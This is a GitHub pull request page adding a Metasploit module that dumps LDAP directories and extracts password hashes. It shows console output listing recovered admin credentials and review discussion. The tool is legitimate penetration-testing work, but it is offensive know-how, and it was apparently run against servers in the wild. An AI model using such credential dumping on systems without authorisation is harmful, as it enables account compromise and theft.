Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add generic LDAP hashdump module #13906

Merged
merged 2 commits into from
Aug 27, 2020
Merged

Conversation

HynekPetrak
Copy link
Contributor

This PR adds a new module that dumps LDAP data via anonymous or authenticated (added to LDAP mixin) bind.
Looting the dumped LDIF and searching for common attributes that usually hold user credentials, e.g. userPassword.

TODO: test the LDAP authentication

Here is an example running the module against LDAP server of Avaya Communication manager, those server ususally do not require an authentication to dump credentials (not sure if there is any CVE on that, maybe I should create one):

msf5 > use auxiliary/gather/ldap_hashdump
msf5 auxiliary(gather/ldap_hashdump) > options

Module options (auxiliary/gather/ldap_hashdump):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   BASE_DN                     no        LDAP base DN if you already have it
   PASS_ATTR  userPassword     yes       LDAP attribute, that contains password hashes
   RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      389              yes       The target port
   SSL        false            no        Enable SSL on the LDAP connection
   USER_ATTR  dn               no        LDAP attribute, that contains username


Auxiliary action:

   Name  Description
   ----  -----------
   Dump  Dump all LDAP data


msf5 auxiliary(gather/ldap_hashdump) > set RHOSTS [redacted_ip_address]
RHOSTS => [redacted_ip_address]

msf5 auxiliary(gather/ldap_hashdump) > run
[*] Running module against [redacted_ip_address]

[*] Discovering base DN automatically
[*] Searching root DSE for base DN
[+] Discovered base DN: dc=vsp
[*] Dumping LDAP data from server at [redacted_ip_address]:389
[*] Storing LDAP data in loot
[+] Saved LDAP data to /home/hynek/.msf4/loot/20200726121633_default_[redacted_ip_address]_LDAPInformation_716210.txt
[*] Searching for attribute: userPassword
[*] Taking dn attribute as username
[+] Credentials found: uid=cust,ou=People,dc=vsp:{SSHA}AZKja92fbuuB9SpRlHqaoXxbTc43Mzc2MDM1Ng==
[+] Credentials found: uid=admin,ou=People,dc=vsp:{SSHA}AZKja92fbuuB9SpRlHqaoXxbTc43Mzc2MDM1Ng==
[*] Auxiliary module execution completed
msf5 auxiliary(gather/ldap_hashdump) > set USER_ATTR uid
USER_ATTR => uid
msf5 auxiliary(gather/ldap_hashdump) > run
[*] Running module against [redacted_ip_address]

[*] Discovering base DN automatically
[*] Searching root DSE for base DN
[+] Discovered base DN: dc=vsp
[*] Dumping LDAP data from server at [redacted_ip_address]:389
[*] Storing LDAP data in loot
[+] Saved LDAP data to /home/hynek/.msf4/loot/20200726121718_default_[redacted_ip_address]_LDAPInformation_712562.txt
[*] Searching for attribute: userPassword
[*] Taking uid attribute as username
[+] Credentials found: cust:{SSHA}AZKja92fbuuB9SpRlHqaoXxbTc43Mzc2MDM1Ng==
[+] Credentials found: admin:{SSHA}AZKja92fbuuB9SpRlHqaoXxbTc43Mzc2MDM1Ng==
[*] Auxiliary module execution completed
msf5 auxiliary(gather/ldap_hashdump) >

@HynekPetrak
Copy link
Contributor Author

@wvu-r7 @h00die FYI

@smcintyre-r7
Copy link
Contributor

Tested in the wild. No setup notes available at this time, as setup will be specific to target environment.

Do you have any steps that you could provide us on setting up an environment that would be suitable for testing and demonstrating this module? Is this something we can spin up with like OpenLDAP and are there any configuration settings that need to be made in order for it to be vulnerable? Any assistance you can provide us here will speed up the processing of your contribution.

@wvu
Copy link
Contributor

wvu commented Jul 31, 2020

@smcintyre-r7: That was copied from my module doc. We had our own target. That said, I've more recently been able to set up vCenter Server or just plain OpenLDAP in a pinch.

@wvu wvu added feature needs-linting The module needs additional work to pass our automated linting rules labels Jul 31, 2020
@label-actions
Copy link

label-actions bot commented Jul 31, 2020

Thanks for your pull request! Before this pull request can be merged, it must pass the checks of our automated linting tools.

We use Rubocop and msftidy to ensure the quality of our code. This can be ran from the root directory of Metasploit:

rubocop <directory or file>
tools/dev/msftidy.rb <directory or file>

You can automate most of these changes with the -a flag:

rubocop -a <directory or file>

Please update your branch after these have been made, and reach out if you have any problems.

@HynekPetrak
Copy link
Contributor Author

Hi @smcintyre-r7, I have added a test scenario using a dockerized OpenLDAP server, that is made intentionally insecure. HTH Otherwise I've tested the module on numerous LDAP servers in wild, various brands.

@HynekPetrak
Copy link
Contributor Author

I intend to add support for multiple naming contexts within one target

@HynekPetrak
Copy link
Contributor Author

Currently performing a mass test, identifying and fixing edge cases.

@smcintyre-r7
Copy link
Contributor

Currently performing a mass test, identifying and fixing edge cases.

Okay, that sounds great thank you! It definitely looks like you're actively working on this, so I'm going to go ahead and convert it to a draft PR and when you're all done and ready for it to be reviewed just press the "Ready for review" button on GitHub towards the bottom of the PR.

@smcintyre-r7 smcintyre-r7 marked this pull request as draft August 4, 2020 14:53
@HynekPetrak HynekPetrak changed the title Added generic LDAP hashdump module Add generic LDAP hashdump module Aug 10, 2020
@HynekPetrak HynekPetrak marked this pull request as ready for review August 11, 2020 12:37
@HynekPetrak
Copy link
Contributor Author

Hi @smcintyre-r7 , @wvu-r7 I believe the code is ready for a review. I've been doing very large test on various LDAP servers and possibly caught or worked around majority of the issues. Due to performance I made the module as Scanner to leverage multi threading.

@HynekPetrak
Copy link
Contributor Author

Is there a chance to make it draft PR again? I found one more thing to improve - pwdhistory and passwordhistory handling.

@smcintyre-r7 smcintyre-r7 marked this pull request as draft August 11, 2020 16:36
@smcintyre-r7
Copy link
Contributor

Is there a chance to make it draft PR again? I found one more thing to improve - pwdhistory and passwordhistory handling.

Done! Convert it back when you're ready.

@HynekPetrak HynekPetrak marked this pull request as ready for review August 13, 2020 13:08
@HynekPetrak
Copy link
Contributor Author

@smcintyre-r7 no more changes planned

@wvu
Copy link
Contributor

wvu commented Aug 14, 2020

Fantastic effort! Thank you for doing this.

@HynekPetrak
Copy link
Contributor Author

HynekPetrak commented Aug 14, 2020

Please for a patience, since I started with ruby 2-3 weeks ago. Can’t write idiomatic ruby yet.

@HynekPetrak
Copy link
Contributor Author

Apparently I'm not catching all the cases with the Timeout control. Is there a way, while a module is running to interrupt it and see the stack trace?

@smcintyre-r7
Copy link
Contributor

You'd need to use a debugger, I generally like the one built into RubyMine.

@HynekPetrak
Copy link
Contributor Author

Ok, I found the issue. The Net::LDAP#open does 3 things:

  • creates new LDAP object
  • opens connection
  • attempts LDAP bind operation (authentication)

Apparently the bind operation is not controlled by the connect_timeout and the code may hang on certain servers.
Need to fix this in the next commit.

@HynekPetrak
Copy link
Contributor Author

HynekPetrak commented Aug 18, 2020

@smcintyre-r7, @wvu-r7 ready for the review.
Btw. I see no reason, why the automated checks failed.

@HynekPetrak
Copy link
Contributor Author

For the monkey patch in the last commit I have submitted an issue to the net-ldap library:
ruby-ldap/ruby-net-ldap#375

@smcintyre-r7 smcintyre-r7 self-assigned this Aug 20, 2020
Copy link
Contributor

@smcintyre-r7 smcintyre-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Left a few comments through out. A few things I noticed:

  • All of the CheckCode uses should be changed to fail_with, you don't define a check method so there's no place those values are going. Using fail_with instead will report why the module can't continue.
  • The multiple uses of ldap.search should be moved into a module functions. They're all pretty similiar and it would reduce the repeat code around the temporary file and timeout handling.

lib/msf/core/exploit/ldap.rb Outdated Show resolved Hide resolved
modules/auxiliary/gather/ldap_hashdump.rb Outdated Show resolved Hide resolved
modules/auxiliary/gather/ldap_hashdump.rb Outdated Show resolved Hide resolved
modules/auxiliary/gather/ldap_hashdump.rb Outdated Show resolved Hide resolved
modules/auxiliary/gather/ldap_hashdump.rb Outdated Show resolved Hide resolved
modules/auxiliary/gather/ldap_hashdump.rb Outdated Show resolved Hide resolved
modules/auxiliary/gather/ldap_hashdump.rb Outdated Show resolved Hide resolved
modules/auxiliary/gather/ldap_hashdump.rb Outdated Show resolved Hide resolved
Copy link
Contributor Author

@HynekPetrak HynekPetrak left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

moved the ldap.search to its function and done the other changes. see the conversations.

Comment on lines 178 to 191
case @pass_attr.downcase
when 'sambalmpassword'
hash_format = 'lm'
when 'sambalmpassword'
hash_format = 'nt'
else
hash_format = identify_hash(hash)
end

create_credential(service_details.merge(
username: dn,
private_data: hash,
private_type: :nonreplayable_hash,
jtr_format: identify_hash(hash)
jtr_format: hash_format
Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

What's the right type for NT or LM hashes? Is it also nonreplayable_hash?

modules/auxiliary/gather/ldap_hashdump.rb Outdated Show resolved Hide resolved
modules/auxiliary/gather/ldap_hashdump.rb Outdated Show resolved Hide resolved
modules/auxiliary/gather/ldap_hashdump.rb Outdated Show resolved Hide resolved
lib/msf/core/exploit/ldap.rb Outdated Show resolved Hide resolved
modules/auxiliary/gather/ldap_hashdump.rb Outdated Show resolved Hide resolved
modules/auxiliary/gather/ldap_hashdump.rb Outdated Show resolved Hide resolved
modules/auxiliary/gather/ldap_hashdump.rb Outdated Show resolved Hide resolved
modules/auxiliary/gather/ldap_hashdump.rb Outdated Show resolved Hide resolved
@HynekPetrak
Copy link
Contributor Author

HynekPetrak commented Aug 22, 2020

@smcintyre-r7 I cannot use the fail_with. Once called for one host it aborts the whole module run, i.e for the other threads too. This is not desired.

Copy link
Contributor

@smcintyre-r7 smcintyre-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

@smcintyre-r7 I cannot use the fail_with. Once called for one host it aborts the whole module run, i.e for the other threads too. This is not desired.
That's right, I've been meaning to see if we can fix that. In the meantime returning like you are is fine, 👍

The questionable Timeout.timeout has been consolidated down into 2 instances within the module so given the constraints we're operating in with regards to Net::LDAP that seems reasonable.

I'll start testing this out now, I left a few minor comments but nothing that I can't address myself during testing.

modules/auxiliary/gather/ldap_hashdump.rb Show resolved Hide resolved
lib/msf/core/exploit/ldap.rb Outdated Show resolved Hide resolved
@smcintyre-r7
Copy link
Contributor

While testing this with the docker container you provided I noticed that the module prints an error on a connection error but it continues to run showing that it's not properly identifying an error that should cause it to just exit. Note the SSL connection error in the following output (because I set SSL to true when it should be false) yet the module continues on to "Dumping data for root DSE", I would have expected it to I identify that the connection failed and exit.

msf5 auxiliary(gather/ldap_hashdump) > show options 

Module options (auxiliary/gather/ldap_hashdump):

   Name          Current Setting                                                                                                         Required  Description
   ----          ---------------                                                                                                         --------  -----------
   BASE_DN                                                                                                                               no        LDAP base DN if you already have it
   BIND_DN                                                                                                                               no        The username to authenticate to LDAP server
   BIND_PW                                                                                                                               no        Password for the BIND_DN
   MAX_LOOT                                                                                                                              no        Maximum number of LDAP entries to loot
   PASS_ATTR     userPassword, sambantpassword, sambalmpassword, mailuserpassword, password, pwdhistory, passwordhistory, clearpassword  yes       LDAP attribute, that contains password hashes
   READ_TIMEOUT  600                                                                                                                     no        LDAP read timeout in seconds
   RHOSTS        127.0.0.1                                                                                                               yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT         1389                                                                                                                    yes       The target port
   SSL           true                                                                                                                    no        Enable SSL on the LDAP connection
   THREADS       1                                                                                                                       yes       The number of concurrent threads (max one per host)
   USER_ATTR     dn                                                                                                                      no        LDAP attribute(s), that contains username


Auxiliary action:

   Name  Description
   ----  -----------
   Dump  Dump all LDAP data


msf5 auxiliary(gather/ldap_hashdump) > run

[*] 127.0.0.1:1389        Connecting ...
[-] 127.0.0.1:1389        Net::LDAP::Error: SSL_connect SYSCALL returned=5 errno=0 state=SSLv3/TLS write client hello
[*] 127.0.0.1:1389        Dumping data for root DSE
[-] 127.0.0.1:1389        No entries returned for 'root DSE'.
[-] 127.0.0.1:1389        Net::LDAP::Error: SSL_connect SYSCALL returned=5 errno=0 state=SSLv3/TLS write client hello
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(gather/ldap_hashdump) >

@wvu
Copy link
Contributor

wvu commented Aug 25, 2020

@HynekPetrak, @smcintyre-r7: Please ensure that the existing LDAP modules continue to function with the mixin changes. Thanks!

ETA: Documentation may or may not need to be updated, too.

@HynekPetrak
Copy link
Contributor Author

@smcintyre-r7 ,

  • consolidated the ldap_new and ldap_connect as much they can. They call LDAP#new and LDAP#open respectively, so they cannot be completely merged.
  • removed rescue of LDAP exceptions from the mixin, which prevented the module from detecting the SSL errors.
  • fixed handling of LDAP::ConnectTimeout

HynekPetrak and others added 2 commits August 27, 2020 09:05
author Hynek Petrak <hynek.petrak@gmail.com> 1595628792 +0200
committer Spencer McIntyre <Spencer_McIntyre@rapid7.com> 1598532753 -0400

Added module to dump hashes from LDAP

added hash formatters, documentation, ldap authentication

typo

sanitizing

added scenario for NASDeluxe

added few hash attribute examples

typo correction

Co-authored-by: bcoles <bcoles@gmail.com>

typo correction

Co-authored-by: bcoles <bcoles@gmail.com>

typo correction

Co-authored-by: bcoles <bcoles@gmail.com>

avoid option name conflicts

added test scenario

linted

linted

Dump all nameContexts, not just the first one. Search creds in multiple attributes.

attemt to dump special and operational attributes

check if ldap bind succeeded

sanitize the ldap hashes, skip invalid, remove {crypt} prefix

memory optimization for large LDAP servers

spaces at eols

put header to the ldif loot

added other LDAP hash formats, don't save empty ldif, dump root DSE

now we handle vmdir case too

explictly set md5crypt for $

Converted to scanner to improve performance on large networks

krbprincipalkey, memory optimization for ldap.search

handle additional hash types

be verbose about search errors

added per host timeout

catch exception from Net::Ldap

shorten the param value

handle pwdhistory entries

added comment about sambapwdhistory value

reject shorter empty sambapassordhistory entries

reject null nt and lm hashes

report assumed clear text passwords

refactored timeout for the sake of the loot

ignore {SASL} pass-trough auth entries

distinguish unresolved hashes from clear passwords

print ldap server error message, meaningful loot name

correct exception handling

handle hashes with eol

remove debug line

handle pkcs12 in binary form

attemt to control timeout on bind operation

leave LDAP#bind to be called implicitly in #search

remove debug line

fixed bug, when pillage broke the outer LDAP#search

learning ruby

monkey patched ldap connection handling, ignoring bind errors

commenting the net:LDAP misbehaviour

review fixes

review fixes

moving ldap.search into a function

remove fail_with, store loot from one place, print statistics

linting

consolidated ldap_new and connect, don't catch exceptions in the mixin

Complete the credential creation

Co-authored-by: Spencer McIntyre <58950994+smcintyre-r7@users.noreply.github.com>
@smcintyre-r7
Copy link
Contributor

I just did some git surgery on this PR. I squashed the commit history down from the 59 commits to one, rebased onto master and then updated the module to again use fail_with. The rebase onto master brought in the changes which fixed using fail_with from scanners. Once the unit tests pass, I'll get this merged in.

Thanks alot for all of your work on this @HynekPetrak!

@smcintyre-r7 smcintyre-r7 merged commit 5e636c8 into rapid7:master Aug 27, 2020
@smcintyre-r7
Copy link
Contributor

Tested successfully, added those tweaks I mentioned in commit aa60b4e.

Test run using the provided docker image:

msf6 auxiliary(gather/ldap_hashdump) > show options 

Module options (auxiliary/gather/ldap_hashdump):

   Name          Current Setting                                                                                                         Required  Description
   ----          ---------------                                                                                                         --------  -----------
   BASE_DN                                                                                                                               no        LDAP base DN if you already have it
   BIND_DN                                                                                                                               no        The username to authenticate to LDAP server
   BIND_PW                                                                                                                               no        Password for the BIND_DN
   MAX_LOOT                                                                                                                              no        Maximum number of LDAP entries to loot
   PASS_ATTR     userPassword, sambantpassword, sambalmpassword, mailuserpassword, password, pwdhistory, passwordhistory, clearpassword  yes       LDAP attribute, that contains password hashes
   READ_TIMEOUT  600                                                                                                                     no        LDAP read timeout in seconds
   RHOSTS        192.168.159.127-128                                                                                                     yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT         1389                                                                                                                    yes       The target port
   SSL           false                                                                                                                   no        Enable SSL on the LDAP connection
   THREADS       1                                                                                                                       yes       The number of concurrent threads (max one per host)
   USER_ATTR     dn                                                                                                                      no        LDAP attribute(s), that contains username


Auxiliary action:

   Name  Description
   ----  -----------
   Dump  Dump all LDAP data


msf6 auxiliary(gather/ldap_hashdump) > run

[*] 192.168.159.127:1389  Connecting...
[*] 192.168.159.127:1389  LDAP connection established
[*] 192.168.159.127:1389  Discovering base DN(s) automatically
[*] 192.168.159.127:1389  Getting root DSE
[-] unexpected-reply: Exception occurred: Net::LDAP::Error: No route to host - connect(2) for 192.168.159.127:1389
[*] Scanned 1 of 2 hosts (50% complete)
[*] 192.168.159.128:1389  Connecting...
[*] 192.168.159.128:1389  LDAP connection established
[*] 192.168.159.128:1389  Discovering base DN(s) automatically
[*] 192.168.159.128:1389  Getting root DSE
dn: 
namingcontexts: dc=example,dc=org
supportedcontrol: 2.16.840.1.113730.3.4.18
supportedcontrol: 2.16.840.1.113730.3.4.2
supportedcontrol: 1.3.6.1.4.1.4203.1.10.1
supportedcontrol: 1.3.6.1.1.22
supportedcontrol: 1.2.840.113556.1.4.319
supportedcontrol: 1.2.826.0.1.3344810.2.3
supportedcontrol: 1.3.6.1.1.13.2
supportedcontrol: 1.3.6.1.1.13.1
supportedcontrol: 1.3.6.1.1.12
supportedextension: 1.3.6.1.4.1.4203.1.11.1
supportedextension: 1.3.6.1.4.1.4203.1.11.3
supportedextension: 1.3.6.1.1.8
supportedfeatures: 1.3.6.1.1.14
supportedfeatures: 1.3.6.1.4.1.4203.1.5.1
supportedfeatures: 1.3.6.1.4.1.4203.1.5.2
supportedfeatures: 1.3.6.1.4.1.4203.1.5.3
supportedfeatures: 1.3.6.1.4.1.4203.1.5.4
supportedfeatures: 1.3.6.1.4.1.4203.1.5.5
supportedldapversion: 3

[*] 192.168.159.128:1389  Taking 'dn' attribute as username
[*] 192.168.159.128:1389  Dumping data for root DSE
[*] 192.168.159.128:1389  1 entries, 0 creds found in 'root DSE'.
[*] 192.168.159.128:1389  Storing LDAP data for base DN='root DSE' in loot
[+] 192.168.159.128:1389  Saved LDAP data to /home/smcintyre/.msf4/loot/20200827095138_default_192.168.159.128_root_DSE_028933.txt
[*] 192.168.159.128:1389  Searching base DN='dc=example,dc=org'
[+] 192.168.159.128:1389  Credentials (password) found in userpassword: cn=user01,ou=users,dc=example,dc=org:password1
[+] 192.168.159.128:1389  Credentials (password) found in userpassword: cn=user02,ou=users,dc=example,dc=org:password2
[*] 192.168.159.128:1389  5 entries, 2 creds found in 'dc=example,dc=org'.
[*] 192.168.159.128:1389  Storing LDAP data for base DN='dc=example,dc=org' in loot
[+] 192.168.159.128:1389  Saved LDAP data to /home/smcintyre/.msf4/loot/20200827095139_default_192.168.159.128_example.org_806059.txt
[*] Scanned 2 of 2 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(gather/ldap_hashdump) >

@smcintyre-r7
Copy link
Contributor

smcintyre-r7 commented Aug 27, 2020

Release Notes

New module auxiliary/gather/ldap_hashdump dumps passwords and hashes stored as attributes in LDAP servers.

@pbarry-r7 pbarry-r7 added the rn-modules release notes for new or majorly enhanced modules label Sep 3, 2020
@HynekPetrak HynekPetrak deleted the ldap_hashdump branch June 22, 2021 22:24
@gwillcox-r7 gwillcox-r7 removed the needs-linting The module needs additional work to pass our automated linting rules label Jul 8, 2021
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
docs feature module rn-modules release notes for new or majorly enhanced modules
Projects
None yet
Development

Successfully merging this pull request may close these issues.

6 participants